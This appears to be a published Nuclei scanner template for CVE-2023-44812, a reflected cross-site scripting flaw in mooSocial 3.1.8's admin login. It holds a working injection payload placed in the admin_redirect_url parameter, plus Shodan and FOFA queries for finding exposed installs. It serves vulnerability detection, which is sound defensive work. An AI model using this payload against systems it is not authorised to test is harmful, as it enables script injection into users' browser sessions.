mooSocial v.3.1.8 - Cross-Site Scripting

ID: CVE-2023-44812

Severity: medium

Author: ritikchaddha

Tags: cve2023,cve,moosocial,xss

Description

A cross-site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code by sending a crafted payload to the admin_redirect_url parameter of the user login function.

YAML Source

id: CVE-2023-44812

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A cross-site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code by sending a crafted payload to the admin_redirect_url parameter of the user login function.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's browser session.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a version that addresses the XSS vulnerability.
  reference:
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/ahrixia/CVE-2023-44812
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44812
    cwe-id: CWE-79
    epss-score: 0.01077
    epss-percentile: 0.84242
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: moosocial
    product: moosocial
    shodan-query: "http.favicon.hash:\"702863115\""
    fofa-query: "icon_hash=\"702863115\""
  tags: cve2023,cve,moosocial,xss
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "mooSocial"
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100ef2f544cd637bcfe8365d590112beef078950e7e0aaf7f1112f692c260b6a572022100831c5af3b024cd3a05e98b9285fbd3be2bc80a1d4022815e719e126e4d22cd07:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-44812.yaml"

View on Github